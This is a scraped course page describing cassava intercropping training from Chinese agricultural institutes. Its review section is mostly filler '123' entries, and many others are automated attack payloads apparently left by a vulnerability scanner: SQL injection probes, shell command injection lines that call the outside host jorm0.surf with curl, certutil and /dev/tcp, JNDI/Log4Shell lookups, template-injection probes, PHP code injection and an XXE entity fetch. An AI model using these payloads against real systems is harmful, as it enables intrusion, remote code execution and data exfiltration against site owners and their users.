This course is jointly developed by the Tropical Crops Genetic Resources Institute of the Chinese Academy of Tropical Agricultural Sciences (CATAS), under the Ministry of Agriculture and Rural Affairs of China, and the Guangxi Subtropical Crops Research Institute. It aims to help smallholder farmers acquire key techniques for cassava intercropping, increase land‑use efficiency by 30% to 100%, reduce labor costs through shared weeding, and stabilize annual income by lowering income fluctuation risks. This course provides a systematic, full-process framework covering the entire intercropping process, including the selection of suitable companion crops (short‑cycle, dwarf, and ecologically compatible species), optimal sowing time differences, soil preparation standards (deep, loose, fine, and level), seed stem selection and treatment, and detailed management for three typical models: cassava-peanut, cassava‑watermelon, and cassava‑corn intercropping. It also addresses key practices such as ridge construction, planting density, fertilization scheduling, and post‑harvest residue management. The core technical essentials of the course can be summarized as “Match crops wisely, sow at the right intervals, and manage fields diligently; select short‑stature companions, avoid shading, and harvest before canopy closure; prepare ridges with care, apply balanced fertilizers, and remove residues promptly to maintain soil health.” Through these standardized and actionable guidelines, the course aims to help farmers convert cassava's early‑stage “fallow period” into a productive growing period, thereby improving overall farm profitability, enhancing soil ecological conditions, and strengthening the foundation for sustainable and resilient cassava production. 


* Participants who successfully complete the course and pass a corresponding quiz will receive a certificate of achievement.

Supporting Institution

Learner Satisfaction Rating

Reviews

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123'"\(

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1559688396')))

06 July 2026

123'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1239432618')))>'0

06 July 2026

123鎈'"\(

06 July 2026

123'and(select'1'from/**/cast(md5(1710715527)as/**/int))>'0

06 July 2026

123/**/and/**/cast(md5('1306436521')as/**/int)>0

06 July 2026

123'and/**/extractvalue(1,concat(char(126),md5(1882694159)))and'

06 July 2026

123"and/**/extractvalue(1,concat(char(126),md5(1713149837)))and"

06 July 2026

extractvalue(1,concat(char(126),md5(1633237059)))

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

3ZFy5H ; echo -e "GET /aa89me.4yat5n.13024c.jorm0.surf HTTP/1.1\nHost: 127.0.0.1:8080\n\n" > /dev/tcp/jorm0.surf/80

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

HOfdAB || curl -m 5 http://jorm0.surf/x8b6tl.4yat5n.5b57a4.jorm0.surf ||

06 July 2026

123

06 July 2026

P2AC4D ; certutil.exe -urlcache -f http://jorm0.surf/q607ep.4yat5n.abc866.jorm0.surf

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

EF1gY7 && curl -m 5 http://jorm0.surf/h3ewdo.4yat5n.850ffe.jorm0.surf &&

06 July 2026

123

06 July 2026

Z3Lld8 || curl -m 5 http://jorm0.surf/meh278.4yat5n.fa049c.jorm0.surf

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

Dc4urH ; curl -m 5 http://jorm0.surf/8r9dsd.4yat5n.cd2551.jorm0.surf

06 July 2026

123

06 July 2026

123

06 July 2026

Ob3wpV ; curl -m 5 http://jorm0.surf/40utiq.4yat5n.64d628.jorm0.surf ;

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

1UCLYr && curl -m 5 http://jorm0.surf/znu0qh.4yat5n.c44dd1.jorm0.surf

06 July 2026

123

06 July 2026

123

06 July 2026

$(curl -m 5 http://jorm0.surf/lcb2xg.4yat5n.c744a5.jorm0.surf)

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

curl -m 5 http://jorm0.surf/dypxcx.4yat5n.0dcfe9.jorm0.surf

06 July 2026

123

06 July 2026

%3Bnew+javax.naming.InitialContext%28%29.lookup%28%22rmi://jorm0.surf/mlu5l2.lkyzyy.b7bcbc.jorm0.surf%22%29%3B

06 July 2026

123

06 July 2026

dZO0U3 ; echo -e "GET /09gpnf.uw318k.6db638.jorm0.surf HTTP/1.1\nHost: 127.0.0.1:8080\n\n" > /dev/tcp/jorm0.surf/80

06 July 2026

123

06 July 2026

123

06 July 2026

;new javax.naming.InitialContext().lookup("rmi://jorm0.surf/g6pcsh.lkyzyy.b22c63.jorm0.surf");

06 July 2026

HouWqQ ; certutil.exe -urlcache -f http://jorm0.surf/pxyers.uw318k.737a9a.jorm0.surf

06 July 2026

VRijcX || curl -m 5 http://jorm0.surf/6pp0bq.uw318k.21832b.jorm0.surf

06 July 2026

%24%7B%27%27.getClass%28%29.forName%28%22javax.naming.InitialContext%22%29.newInstance%28%29.lookup%28%27rmi://jorm0.surf/8sn7cf.lkyzyy.c36312.jorm0.surf%27%29%7D

06 July 2026

123

06 July 2026

fVR1rn || curl -m 5 http://jorm0.surf/rybnk6.uw318k.48a7f4.jorm0.surf ||

06 July 2026

${:-y$}{${i7c:-j}nd${env:cc8:-}i:d${g5h::-n}s://nk4h6e.hs08ch.552f99.jorm0.surf?Type=A Type&Name=1100110&Char=!}

06 July 2026

zmrquV && curl -m 5 http://jorm0.surf/1tpkgn.uw318k.0202ed.jorm0.surf &&

06 July 2026

${''.getClass().forName("javax.naming.InitialContext").newInstance().lookup('rmi://jorm0.surf/x991s7.lkyzyy.05b0fa.jorm0.surf')}

06 July 2026

123

06 July 2026

Zl5JVZ && curl -m 5 http://jorm0.surf/0l2g3m.uw318k.66691e.jorm0.surf

06 July 2026

new+javax.naming.InitialContext%28%29.lookup%28%22rmi://jorm0.surf/e25gmw.lkyzyy.a128c7.jorm0.surf%22%29

06 July 2026

123

06 July 2026

123

06 July 2026

dlpGlk ; curl -m 5 http://jorm0.surf/vi9b57.uw318k.988c2b.jorm0.surf ;

06 July 2026

new javax.naming.InitialContext().lookup("rmi://jorm0.surf/dw1q2z.lkyzyy.1ad5f6.jorm0.surf")

06 July 2026

123

06 July 2026

mFdkdA ; curl -m 5 http://jorm0.surf/g0x5hz.uw318k.7f6da9.jorm0.surf

06 July 2026

123

06 July 2026

1.class.forName%28%22javax.naming.InitialContext%22%29.newInstance%28%29.lookup%28%22rmi://jorm0.surf/f8iibv.lkyzyy.029844.jorm0.surf%22%29

06 July 2026

1.class.forName("javax.naming.InitialContext").newInstance().lookup("rmi://jorm0.surf/zr6rzy.lkyzyy.bc2864.jorm0.surf")

06 July 2026

123

06 July 2026

new+javax.naming.InitialContext%28%29.lookup%28%22rmi://jorm0.surf/vif9bb.lkyzyy.818f17.jorm0.surf%22%29

06 July 2026

123

06 July 2026

123

06 July 2026

curl -m 5 http://jorm0.surf/z2xhhd.uw318k.475d2b.jorm0.surf

06 July 2026

123

06 July 2026

new javax.naming.InitialContext().lookup("rmi://jorm0.surf/u15883.lkyzyy.3bb997.jorm0.surf")

06 July 2026

123

06 July 2026

$(curl -m 5 http://jorm0.surf/5pw46g.uw318k.1045bd.jorm0.surf)

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

expr 943840581 + 954589001

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123&set /A 852410659+848536745

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123$(expr 925773336 + 919833767)

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123|expr 975911978 + 906195446

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123"and"HQYE"="KpBY

06 July 2026

123

06 July 2026

'-var_dump(md5(360100251))-'

06 July 2026

123

06 July 2026

123 expr 801764178 + 826230786

06 July 2026

123

06 July 2026

${@var_dump(md5(798599710))};

06 July 2026

123

06 July 2026

123'and'rLSB'='AZEH

06 July 2026

123

06 July 2026

123

06 July 2026

123"and"cCSK"="cCSK

06 July 2026

<%- 974581909+909443105 %>

06 July 2026

123

06 July 2026

123+and+2773=5317

06 July 2026

123

06 July 2026

123'and'wQLs'='wQLs

06 July 2026

123

06 July 2026

${(857419498+993034284)?c}

06 July 2026

#set($c=933914693+819527549)${c}$c

06 July 2026

123+and+3561=3561

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123/**/and+3949=2467

06 July 2026

123

06 July 2026

/*1*/{{870314545+879186663}}

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

${877866663+875164114}

06 July 2026

12392

06 July 2026

123/**/and+9602=9602

06 July 2026

__${new javax.naming.InitialContext().lookup(new String(new char[]{114,109,105,58,47,47,106,111,114,109,48,46,115,117,114,102,47,50,97,118,120,49,99,46,48,99,109,49,110,122,46,54,50,51,97,57,49,46,106,111,114,109,48,46,115,117,114,102}))}__::.x

06 July 2026

123

06 July 2026

123

06 July 2026

${jndi:dns://03he6p.hs08ch.975dae.jorm0.surf}

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

123

06 July 2026

${836311719+940605053}

06 July 2026

<?xml version="1.0"?><!DOCTYPE ANY [<!ENTITY content SYSTEM "http://jorm0.surf/gnka3b.g4vkre.5299af.jorm0.surf">]><a>&content;</a>

06 July 2026